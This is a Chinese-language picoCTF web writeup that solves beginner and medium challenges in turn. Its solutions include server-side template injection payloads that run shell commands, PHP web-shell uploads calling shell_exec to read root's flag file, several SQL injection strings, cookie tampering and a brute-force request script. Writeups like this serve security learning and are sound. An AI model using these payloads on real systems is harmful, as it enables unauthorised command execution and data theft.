# picoCTF Web Writeups 我菜菜ㄉ所以從Web開始 # Easy ## Cookies 這題很簡單 照著他的提示輸入`snickerdoodle` 會跑到這個網頁 ![image-1](https://hackmd.io/_uploads/HJw_IBwwgx.png) 看一下網頁的 Cookie ![image](https://hackmd.io/_uploads/BkQF8BwDex.png) 然後改 name 的值會發現每個號碼都有一種 Cookie 接著爆搜就可以在範圍內找到 ## SSTI1 [什麼是SSTI?](https://ithelp.ithome.com.tw/m/articles/10272749) 在框框輸入`{{7*7}}` ![image](https://hackmd.io/_uploads/BkJzPrvvxe.png) 塞payload讓他執行腳本 `{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}` ![image](https://hackmd.io/_uploads/Sy9IwSwwxe.png) `{{ config.__class__.__init__.__globals__['os'].popen('cat flag').read() }}` ![image](https://hackmd.io/_uploads/Hkd_vHDPxe.png) ## n0s4n1ty 1 他沒有限制上傳檔案的格式 所以上傳一個php檔讓他執行shell 腳本 `<?php echo shell_exec('ls /'); ?>` ![image](https://hackmd.io/_uploads/rJpSASDwll.png) 再用貓咪看一下flag `<?php echo shell_exec('sudo cat /root/flag.txt'); ?>` ![image](https://hackmd.io/_uploads/BJO00BvPxe.png) ## head-dump 沒什麼難度 有一個貼文是API docs 點進去就可以看到api-docs ![image](https://hackmd.io/_uploads/S1USDUvwgx.png) Request heapdump那個 就可以下載 heapsnapshot 在檔案裏面搜尋關鍵字就可以找到flag了 ![image](https://hackmd.io/_uploads/HkXPvIDPgl.png) ## Cookie Monster Secret Recipe 隨便輸入一些進去 他就會叫你去看Cookie ![image](https://hackmd.io/_uploads/ByMB_8Dwle.png) 裡面有一個祕密食譜 `%3D%3D`很明顯是URL編碼的`==` `==`很明顯是Base64編碼 拿去解碼就可以拿到flagㄌ 等於等於 ![image](https://hackmd.io/_uploads/B1BP_LDweg.png) ## WebDecode 點到About頁面 他會叫你開inspector ![image](https://hackmd.io/_uploads/Hkmo9UDwee.png) 開了之後你會看到一串怪咚咚 `cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfMTBmOTM3NmZ9` 是不是很眼熟 沒錯 跟上一題的base64編碼開頭一樣 所以把這串加上`==`丟到base64 decoder就好ㄌ ![image](https://hackmd.io/_uploads/r1SC9IDPlg.png) ## Unminify 簽到題 ## IntroToBurp 用Burp Suite開那個網頁 註冊完後會要你輸入OTP 不管怎樣都是Invalid OTP 所以回到Burp Suite去看請求 ![image](https://hackmd.io/_uploads/SkjNQPwPll.png) 對Request點右鍵傳到Repeater去改Request重新請求 ![image](https://hackmd.io/_uploads/Sk-5QDDwxx.png) 把`otp=adf`刪掉再重新請求就可以拿到flagㄌ ![image](https://hackmd.io/_uploads/S1mTXwwvgx.png) ## Bookmarklet 執行那個function就好ㄌ ## Local Authority 看得懂標題就會解 給看不懂的 :::spoiler 登入失敗後你打開inspector會發現有這個檔案 ![image](https://hackmd.io/_uploads/rJyFUoPwlx.png) ::: ## Inspect HTML 簽到題 ## Includes 簽到題 ## Scavenger Hunt 先在html和css檔找到part 1, 2 然後到js檔會看到 ![image](https://hackmd.io/_uploads/BJrYyUuDll.png) 所以我們要找`/robots.txt` 就可以在那邊找到part 3 ![image](https://hackmd.io/_uploads/BJ_dlLODll.png) 接著他的提示 試幾個apache server可能有的設定檔 然後就會發現下一站是`/.htaccess` 可以找到part 4 ![image](https://hackmd.io/_uploads/BJmDl8dPel.png) Mac + Store 會想到那個隱藏檔案`/.DS_Store` 找到part 5 ![image](https://hackmd.io/_uploads/HJj3x8uDle.png) 組起來就是flagㄌ ## GET aHEAD request有很多種方法 用HEAD去request就可以拿到flagㄌ ![image](https://hackmd.io/_uploads/Hy44-I_Pxe.png) ## dont-use-client-side 自己拼拼湊湊 ||`picoCTF{no_clients_plz_7723ce}`|| ![image](https://hackmd.io/_uploads/SkSDfU_Pge.png) ## logon 登入之後把cookie中的admin改成True 刷新之後就可以看到flagㄌ ![image](https://hackmd.io/_uploads/HyxMXUdPlg.png) ## Insp3ct0r 開Inspector後可以依序在html, css, js找到flag ## where are the robots 去`/robots.txt`在去他說的路徑就可以找到flagㄌ # Medium ## Pick your SQL exploit `picoCTF Experimental Problems 1` 的那個 我只解開challenge 2 就是SQL Injection 照著他的Hint去操作就好 先輸入`1` 會發現他直接把整個row輸出了 ![image](https://hackmd.io/_uploads/SkMLNFOPel.png) 然後就可以輸入下面查詢看一下有哪些table `1' UNION SELECT tbl_name, 1, 'a' FROM sqlite_master WHERE type='table'--` ![Screenshot_20250731_135403_Chrome](https://hackmd.io/_uploads/HkeuBFOvge.jpg =300x) 輸入下面的sql查詢就可以輸出flagㄌ `1' UNION SELECT flag,1,'a' FROM hidden_flags--` ![Screenshot_20250731_135705_Chrome](https://hackmd.io/_uploads/r1v-Lt_Pee.jpg =300x) 如果想要確認欄位數量可以依序輸入這個查詢 `' ORDER BY 1--` `' ORDER BY 2--` `' ORDER BY 3--` ## Dark vault 按照網站給的檔案跑就可以找到帳號密碼了 ## Some Assembly Required 1 在js看會看到這行 `let _0x5f0229 = await fetch(_0x48c3be(0x1e9))` 他fetch了一個檔案 可以去network看 ![image](https://hackmd.io/_uploads/ByOdt3uwgg.png) 載下來打開就會看到flag了 ![image](https://hackmd.io/_uploads/H1n2Yndwle.png) ## Irish-Name-Repo 1 最基本的SQL injection `' OR 1=1 --` ## Irish-Name-Repo 2 因為password被過濾ㄌ 所以從username下手 使用 Boolean-Based Blind SQL Injection `admin' AND 1=1--` 就可以注入成功了 順帶一提他的payload有一個參數是 debug 改成 1 就可以看到現在的 query ![image](https://hackmd.io/_uploads/B1yQ4sFPxl.png) ## Irish-Name-Repo 3 把 debug 打開 會發現我們的查詢被凱薩密碼加密ㄌ 位移量 13 所以把`' OR 1=1 --` 用 ROT13 加密後再送出就可以ㄌ ![image](https://hackmd.io/_uploads/HyjGLsKwxe.png) ## picobrowser 把 request 改成 picobrowser 就可以拿到 flag ㄌ ![image](https://hackmd.io/_uploads/H1J1SjYvge.png) ## Pachinko 隨便連一下節點然後按 Submit 看 request ![image](https://hackmd.io/_uploads/rycQasKDxg.png) ![image](https://hackmd.io/_uploads/Bk8WRiKPge.png) 暴搜隨便跑幾次就會拿到flagㄌ ```python= import requests import json url = "http://activist-birds.picoctf.net:<port>/check" headers = { "Content-Type": "application/json", "Origin": "http://activist-birds.picoctf.net:52964", "Referer": "http://activist-birds.picoctf.net:52964/", "User-Agent": "Mozilla/5.0", } for a in range(1, 16): for b in range(1, 16): for c in range(1, 16): payload = { "circuit": [ {"input1": a, "input2": b, "output": c} ] } response = requests.post(url, headers=headers, data=json.dumps(payload)) print("Input:", payload) print("Response:", response.text) ``` ##